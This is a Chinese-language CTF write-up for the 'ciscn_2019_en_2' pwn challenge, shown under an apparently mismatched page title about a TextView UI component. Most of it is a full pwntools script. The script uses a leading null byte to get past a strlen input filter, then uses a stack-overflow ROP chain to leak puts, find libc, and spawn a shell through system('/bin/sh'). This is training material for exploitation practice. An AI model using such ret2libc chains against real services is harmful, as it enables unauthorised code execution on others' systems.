1. 程式人生 > 其它 >UI元件——TextView

UI元件——TextView

ciscn_2019_en_2

1.ida分析

在encrypt函式中存在棧溢位漏洞,但是會把輸入過濾。

2.checksec

3.解決

from pwn import *
from LibcSearcher import *
context.log_level='debug'
s
p=remote('node4.buuoj.cn',27829)
elf=ELF('./ciscn_2019_en_2')

ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts
'] p.sendlineafter("choice!\n",'1') pl='\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter("encrypted\n",pl) p.recvline() p.recvline() puts=u64(p.recvuntil('\n')[:-1].ljust(8,'\0')) libc=LibcSearcher('puts',puts) libc_addr=puts-libc.dump('puts') binsh=libc_addr+libc.dump('
str_bin_sh') system=libc_addr+libc.dump('system') p.sendlineafter("choice!\n",'1') pl='\0'+'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) p.sendlineafter("encrypted\n",pl) p.interactive()

首先輸入的payload不能被過濾,利用strlen函式讀到'\x00'結束的特性繞過檢查。

所以payload的第一個為'\x00',然後就是棧溢位來洩露puts函式的地址計算出基址。

pl='\0'+'
a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.sendlineafter("encrypted\n",pl) p.recvline() p.recvline() puts=u64(p.recvuntil('\n')[:-1].ljust(8,'\0')) libc=LibcSearcher('puts',puts) libc_addr=puts-libc.dump('puts')

這時候再輸入system('/bin/sh')的payload。

binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
p.sendlineafter("choice!\n",'1')
pl='\0'+'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter("encrypted\n",pl)

exp參考:https://blog.csdn.net/tqydyqt/article/details/104986595